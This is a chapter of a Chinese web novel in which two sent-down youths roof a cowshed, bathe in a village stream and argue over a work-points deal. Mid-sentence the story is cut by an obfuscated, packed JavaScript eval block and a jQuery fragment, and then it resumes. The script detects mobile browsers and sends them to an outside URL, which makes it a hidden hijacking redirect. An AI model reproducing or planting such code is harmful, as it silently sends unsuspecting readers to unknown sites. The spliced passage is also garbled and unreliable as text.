“我跟你说啊,杨叔我这手艺可不是吹的,家里好几个混小子,他们的头发,全都是我剪的!”
牛棚前,书记正拿着一把剪刀,咔咔咔在给许修竹剪头发。
今天劳作了一天,可能许修竹也意识到了,长头发的碍事,此时正安分地坐着,让书记给他剪头发。
梁月泽站在书记拿来的凳子上,往棚顶上铺稻草。
棚顶上的稻草稀稀拉拉的,从里面看能看到好几个洞,一旦下雨肯定漏水。
修补起来太麻烦了,索性把旧稻草全部抽掉,重新盖棚顶。
书记教了梁月泽几次,看他会铺了,就把铺棚顶的事情交给了他,自己拉着许修竹到一边去剪头发。
梁月泽就这样赶鸭子上架了。
他一边铺着稻草,一边在思考,要怎么跟许修竹开口,他想反悔了。
辛苦劳作一天,只有4个工分,虽然有他不熟练干得慢的原因在,但是3个工分也太多了。
今年是下乡的第一年,由国家出钱负责知青的口粮,但来年口粮就要从村里出了,村里的规矩就是按工分分粮。
等到了年底分粮,他怕他分到的粮食,都不够他活一个月的。
就算他手里有二婶给的粮票和钱,但这能用多久啊,终究还是要他自力更生。
今年的劳作,决定着明年有多少粮能吃,这个时候工分就尤其重要了。
怪不得许修竹不要钱不要粮票布票,只有工分才是长久的。
虽然他在思考其他出路了,但现在不是还没找到吗。
梁月泽扫了一眼那边正剪头发的两个人,发现已经剪得差不多了。
书记没有吹牛,他手艺确实还不错,头发全部剪短了,露出了光洁的额头了,被遮盖着的耳朵也露了出来,看着挺白净小巧的。
许修竹整个人都变了样,没有了长头发的遮盖,阴郁的气质一扫而空,虽然还是没有表情不爱说话,给人的感官却截然不同。
书记用毛巾拍打着许修竹脖颈上和肩上的碎发,满意地露出了一个笑容。
“瞧瞧,现在看着多清爽啊,男同志就是要大大方方的,整天遮遮掩掩的像个什么样儿。”
许修竹摸了摸头顶,入手是一头扎手的发茬,神色有些复杂,说道:“多谢,书记。”
书记乐呵呵地摆手:“不用客气,举手之劳,这也是为了我们村的形象着想嘛。”
他欣赏着自己的杰作,他多厉害啊,这小伙子剪完头发都好看了几分。
看着看着,书记收起了笑容,眉心微蹙,这许知青是不是长得太好看了些?
书记往牛棚的方向看了一眼,正好撞上梁月泽的视线,他眉心皱得更紧了。
许知青和那小白脸虽然不是一个类型的,长得却不相上下,而且更显乖巧,肯定是村里大叔婶子们理想中的好儿子。
村里的姑娘们肯定也会喜欢。
这可怎么办呢?
他们这些当长辈的,自然是希望村里的姑娘能有个好人家,但知青就不是他们这个地方的人,有能耐的人,迟早会走的。
真没能耐的,村里的姑娘大概率也不会看得上。
书记是真发愁啊,这两人一看就不是普通人,哪怕现在身份受限在这里当知青,以后也肯定会走的。
没见识的小姑娘只会想喜不喜欢,真拗起来了,他们做长辈的,还能反对不成。
只希望这两个知青别沾花惹草的,安安分分地当他们的知青。
书记叹了一口气,什么话也没说,摇摇头拿着剪刀就走了。
梁月泽还想让书记来检查一下,棚顶的稻草他盖得对不对,结果喊了两声书记都当没听见似的。
许修竹不明所以,不明白书记怎么突然就走了,脸也拉了下来。
他看向梁月泽,梁月泽摆手:“我也不知道。”
可能是看你好看吧,梁月泽心想。
村里当了爹妈的人,对长得好看的知青,都这个态度,比照他就行了。
许修竹揉了揉脖子,过去给梁月泽递稻草,两人齐力在把棚顶盖好。
等一切都忙活完,天已经完全黑了,月亮又爬了上来,许修竹这才生火开始煮饭。
看着许修竹忙碌的身影,梁月泽有心想跟他说工分的事儿,但他又怕许修竹今晚不煮他的份,忙碌了一天,好歹先吃饱肚子吧。
这么一想,梁月泽就等到了吃完饭,还是熟悉的红薯大米粥,不过这次许修竹还放了一些不知道叫野菜,吃起来多了一股清香,也不知道他什么时候找的野菜。
突然改善了伙食,虽然只是加了一点野菜,也算是受了恩,梁月泽犹豫还要不要取消交易。
他看许修竹生火也不算难,煮东西也是直接放水煮,没什么技术含量。
实在是3个工分太多了,他得劳作多久才能赚到啊。
许修竹对梁月泽这一晚上的欲言又止,不是完全没察觉,他猜到了对方可能是因为工分的事情觉得不满。
所以他一直都在忙碌,不给对方说话的机会。
许修竹知道,这是一场不对等的交易,他是在欺负梁月泽不会做饭,但他真的很需要工分。
他需要表现得很优秀,他需要村长和书记都看到他,他需要一个机会。
把瓦锅和饭盒洗了,许修竹把瓦锅放在灶上烧水,梁月泽心想,这下应该有空了吧。
他不是个习惯犹豫的人,只是一直以来的行事准则,让他没办法在别人干活的时候说事儿。
梁月泽刚想说话,许修竹便拿出了他唯一的一套衣服,要往外走去。
“你去做什么?”梁月泽叫住了他。
许修竹脚步不停:“洗澡。”
昨晚安顿下来后太晚了,也没问村长哪里可以洗澡,只是在溪边擦了擦脸和脖子,加上在火车上没洗澡的那几天,整个人都要熏臭了。
早上书记过来时,许修竹就问了书记。
梁月泽一听是要去洗澡,当即就忘了要说工分的事情,赶紧拿上衣服毛巾跟在许修竹身后。
他不是个洁癖的人,否则也不能接受住在野外,以及下田干活。
但好几天没洗澡,他实在是忍不住了。
昨晚月亮太亮了,溪流两边一望可见,他哪里敢洗澡啊!
“你要去哪里洗澡?”梁月泽问。
“溪边。”
“溪边?没遮没拦的怎么洗澡?”
“书记说,下游种了一片芦苇,村里的男同志夏天都是去哪儿洗澡的。”
村里的女人和女知青们,则是把水打回去洗澡,她们做不到在野外洗澡,哪怕有芦苇遮挡着。
男人没那么多讲究,夏天劳作了一天,最畅快的事情莫过于到溪水里洗个凉水澡,还能在溪流里游泳,村里好多男孩子,打小就被家中长辈这么带着学会了游泳。
“哦……”
两人走了十几分钟,才走到书记说的那片芦苇荡,还没靠近,就听到了男同志说话的声音。
不是一个两个,听起来有几十个人,两人都顿住了脚步。
嘈杂的说话声、溪水流下击打水面的声音、还有孩童们互相泼水的声音,隔着芦苇荡都能知道这里有多热闹。
梁月泽和许修竹互相对视了一眼,在月光下都能发现对方眼中的抗拒。
梁月泽咳了一声:“要不,我们等等吧?”
许修竹点头:“那就等等吧。”
于是两人找了条田埂坐下,搭配着身后的热闹声,默默仰头看月亮。
今晚的月亮是真圆啊,好像比昨天还圆一些。
不知过了多久,陆陆续续有人拿着湿衣服从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266349|166589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芦苇荡里走出来,芦苇荡里从热闹渐渐变得安静,直到没有人的痕迹。
梁月泽站起了身,往那边喊了一声:“还有人在吗?”
得到的回应只有青蛙的呱呱呱。
可能是村里人习惯了夏天在这里洗澡,岸边还有几个放干净衣服的篮子。
梁月泽和许修竹把干净衣服放下,便穿着衣服拿着毛巾下了水,他们还不习惯在别人面前袒露身体。
冰冷的溪水接触皮肤,冷得梁月泽打了个激灵,不过很快就适应了。
这一小段溪流,被村里人垫了石子在下面,不会一踩就是泥沙。
梁月泽和许修竹各自找了一个不会看见对方的位置,才肯褪下衣服扔到岸边,拿着毛巾开始各种搓。
几天没洗澡,梁月泽觉得,他身上的泥垢,都能搓出药丸子了。
只是洗着洗着,怎么突然听到有什么东西下水的声音,梁月泽开口:“许修竹,是你吗?”
芦苇那边传来许修竹纳闷的声音:“不是你吗?”
“是我!”
村长突然出现的声音,把两人都吓了一跳,下意识往水里藏。
梁月泽手里攥着毛巾,有些结巴道:“村、村长,您、你怎么来?”
村长也不避人,该洗澡就洗澡,他用毛巾抹了把脸,说道:“我还没问你们呢,怎么这么晚才来洗澡?”
真实原因当然不能说出来,显得矫情,梁月泽索性避过这个问题没回答,反问道:“村长,李国柱怎么样了?”
村长:“卫生所的医生说,急救得很及时,没有什么大碍,今晚输几瓶药水,明天就能回来了。”
他看没什么大碍就先回来了,至于齐国伟,则留在卫生所照顾李国栋,第二天的农活可以免了,工分给他记5分。
听到这话,梁月泽眼睛都要绿了,恨不得陪着去卫生所的人是他。
5个工分啊,他今天抡锄头抡了一天,才不过得了4个工分,去照顾病人一晚上就能有5个工分,他太眼馋了。
想想真是悲哀,以前的他不说是个淡薄的人,但对很多东西都不太在乎,衣服能穿就行,饭有得吃就行,有间房住就行。
没想到来到这里,他会对那几个工分这么在乎。
应该是得之不易的原因吧。
村长洗澡很快,梁月泽和许修竹等他走了,才开始上岸。
等两人回去时,灶里的木炭都已经熄灭了,瓦锅里的水也烧开了,许修竹把瓦锅搬下来,以防灶塌了瓦锅也碎了。
洗完澡一身清爽的梁月泽坐在稻草上,看着许修竹在熏中午采的草药,太阳大一下午就晒成了半干。
梁月泽突然开口:“我们的交易暂停吧,3个工分太多了。”
许修竹身体一僵,低着头没看梁月泽,继续熏着草药没说话。
“我会学做饭,我们可以一人一天轮流做,或者你不愿意,我们就分开做饭。”
许修竹把草药放在石块上,让它慢慢熏着,从自己的东西里找出了一根针。
他举着针对梁月泽说:“水泡,要不要挑?”
没做过农活的人,第一次做太重的农活,手心会摩擦生泡,梁月泽的手心确实长了几颗水泡,一碰就生疼,晚上吃粥时都小心避开了手心。
这下轮到梁月泽愣住了。
最后,梁月泽看着许修竹小心地替他挑开水泡,又从田埂里找了一种植物的叶子,用石头砸成泥敷到手心。
清凉的草汁带走了手心的灼热和疼痛,也带走了梁月泽刚才说的话,有关工分的事情,两人都没再聊起过。
事后梁月泽回想,大概是许修竹低头替他挑水泡时,那一刻太认真了。
剪掉头发露出了他精致的脸庞,在月光下竟有一丝脆弱。
梁月泽承认,在那一刻他心软了。